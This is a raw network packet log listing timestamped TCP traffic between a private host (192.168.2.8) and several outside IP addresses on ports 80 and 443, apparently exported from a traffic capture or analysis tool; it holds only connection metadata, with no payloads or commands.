Nov 21, 2024 19:58:51.176996946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.177053928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.177134037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.177195072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.177952051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.177975893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.178030014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.178453922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.178580999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.178652048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.179255962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.179270983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.179335117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.179336071 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.179833889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.179847002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.179903030 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.180496931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.180578947 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.180807114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.180866957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.181360960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.181372881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.181437969 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.182074070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.182085991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.182149887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.182679892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.182929039 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.182950020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.183038950 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.183434963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.183445930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.183547974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.184102058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.184113026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.184175968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.184856892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.184954882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.185003042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.185086966 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.185513020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.185523033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.185575962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.186238050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.186256886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.186317921 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.186932087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.186949968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.187001944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.187568903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.187644958 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.187730074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.187783003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.188237906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.188251972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.188302994 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.188929081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.188990116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.189049959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.189150095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.189755917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.189766884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.189826965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.190269947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.190334082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.190437078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.190502882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.190989017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.191057920 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.191297054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.191358089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.191802025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.191864014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.191979885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.192047119 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.192404032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.192468882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.192557096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.192646980 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.193265915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.193413973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.193495989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.193983078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.194013119 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.194078922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.194506884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.194580078 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.194673061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.194868088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.195183039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.195242882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.195368052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.195430994 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.367250919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.367269993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.367351055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.367371082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.367527962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.367597103 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.368109941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.368170023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.368206024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.368328094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.368922949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.369008064 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.369080067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.369139910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.369241953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.369469881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.369642973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.369652033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.369712114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.370101929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.370162010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.370186090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.370250940 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.370811939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.370969057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.371017933 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.371049881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.371495962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.371547937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.371638060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.371691942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.372255087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.372308969 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.372427940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.372484922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.372867107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.372956038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.373044968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.373111963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.373625994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.373720884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.373742104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.373806953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.374351978 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.374425888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.374475002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.374528885 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.375009060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.375057936 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.375230074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.375354052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.375713110 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.375776052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.375922918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.376002073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.376368999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.376487970 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.376660109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.376712084 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.377249002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.377257109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.377441883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.378041983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.378051996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.378114939 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.378536940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.378595114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.378876925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.378937960 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.379194975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.379282951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.379443884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.379502058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.379918098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.379986048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.380031109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.380099058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.380575895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.380641937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.380748987 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.381289005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.381393909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.381409883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.381665945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.381983995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.382061005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.382105112 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.382431030 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.382742882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.382751942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.382812023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.383425951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.383486986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.383583069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.383754015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.384154081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.384259939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.384300947 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.384331942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.384798050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.384864092 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.384891987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.384946108 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.385502100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.385620117 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.385742903 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.386208057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.386322975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.386327028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.386408091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.386910915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.386970997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.386998892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.387100935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.406054020 CET	443	49802	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.406076908 CET	443	49802	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.406141043 CET	443	49802	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.406147003 CET	49802	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.406265974 CET	49802	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.407646894 CET	49802	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.407665014 CET	443	49802	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.408098936 CET	49816	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.408154011 CET	443	49816	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.408696890 CET	49816	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.409045935 CET	49816	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.409070015 CET	443	49816	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.410207987 CET	443	49804	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.410214901 CET	443	49801	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.410228014 CET	443	49804	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.410242081 CET	443	49801	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.410288095 CET	49804	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.410303116 CET	443	49804	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.410317898 CET	443	49801	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.410322905 CET	49801	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.410363913 CET	49804	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.410367012 CET	49801	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.417186975 CET	49817	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:51.417234898 CET	443	49817	104.70.121.146	192.168.2.8
Nov 21, 2024 19:58:51.417475939 CET	49817	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:51.419542074 CET	49818	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:51.419584036 CET	443	49818	104.70.121.146	192.168.2.8
Nov 21, 2024 19:58:51.419646978 CET	49818	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:51.420119047 CET	49819	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:51.420151949 CET	443	49819	204.79.197.219	192.168.2.8
Nov 21, 2024 19:58:51.420262098 CET	49819	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:51.421988964 CET	49817	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:51.422010899 CET	443	49817	104.70.121.146	192.168.2.8
Nov 21, 2024 19:58:51.423898935 CET	49818	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:51.423916101 CET	443	49818	104.70.121.146	192.168.2.8
Nov 21, 2024 19:58:51.426084995 CET	49819	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:51.426103115 CET	443	49819	204.79.197.219	192.168.2.8
Nov 21, 2024 19:58:51.426357031 CET	49820	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:51.426384926 CET	443	49820	204.79.197.219	192.168.2.8
Nov 21, 2024 19:58:51.426543951 CET	49820	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:51.426889896 CET	49804	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.426902056 CET	443	49804	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.427396059 CET	49821	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.427423954 CET	443	49821	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.427489996 CET	49821	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.427908897 CET	49801	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.427917004 CET	443	49801	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.431175947 CET	49820	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:51.431189060 CET	443	49820	204.79.197.219	192.168.2.8
Nov 21, 2024 19:58:51.433485031 CET	49821	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.433502913 CET	443	49821	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.451081991 CET	443	49803	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.451107979 CET	443	49803	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.451214075 CET	49803	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.451225042 CET	443	49803	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.454687119 CET	443	49803	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.454749107 CET	49803	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.461169004 CET	49803	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.461180925 CET	443	49803	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.477248907 CET	443	49806	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.477283001 CET	443	49806	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.477359056 CET	49806	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.477385998 CET	443	49806	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.481098890 CET	443	49806	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.481575966 CET	49806	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.489860058 CET	443	49808	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:51.499799013 CET	443	49805	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.499826908 CET	443	49805	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.499916077 CET	49805	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.499943972 CET	443	49805	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.500752926 CET	443	49805	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.500818968 CET	49805	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.505548954 CET	49808	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:51.505575895 CET	443	49808	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:51.506694078 CET	443	49808	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:51.506767988 CET	49808	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:51.507976055 CET	49808	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:51.508033991 CET	443	49808	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:51.508559942 CET	49808	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:51.508568048 CET	443	49808	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:51.510263920 CET	49806	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.510282993 CET	443	49806	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.510381937 CET	443	49807	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:51.510699987 CET	49805	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:51.510716915 CET	443	49805	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:51.511414051 CET	49807	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:51.511425018 CET	443	49807	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:51.512578011 CET	443	49807	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:51.512649059 CET	49807	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:51.520827055 CET	49807	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:51.520922899 CET	443	49807	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:51.522278070 CET	49807	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:51.522294044 CET	443	49807	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:51.522340059 CET	49807	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:51.522365093 CET	443	49807	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:51.552169085 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:51.555248022 CET	49808	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:51.569864988 CET	49807	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:51.671686888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:51.699774027 CET	443	49809	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.700047970 CET	49809	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.700071096 CET	443	49809	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.700467110 CET	443	49809	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.700840950 CET	49809	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.700927019 CET	443	49809	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.701019049 CET	49809	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.701237917 CET	443	49810	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.701431036 CET	49810	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.701450109 CET	443	49810	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.701961040 CET	443	49810	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.701986074 CET	443	49813	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.702220917 CET	49810	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.702287912 CET	443	49810	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.702310085 CET	49810	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.702469110 CET	49813	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.702488899 CET	443	49813	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.703495979 CET	443	49813	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.703552961 CET	49813	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.703928947 CET	49813	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.703928947 CET	49813	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.703938007 CET	443	49813	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.703982115 CET	443	49813	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.706290960 CET	443	49811	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.706456900 CET	49811	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.706469059 CET	443	49811	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.707541943 CET	443	49811	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.707595110 CET	49811	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.707855940 CET	49811	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.707917929 CET	443	49811	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:51.708045959 CET	49811	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.740966082 CET	49809	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:51.740972042 CET	443	49809	23.44.133.17	192.168.2.8
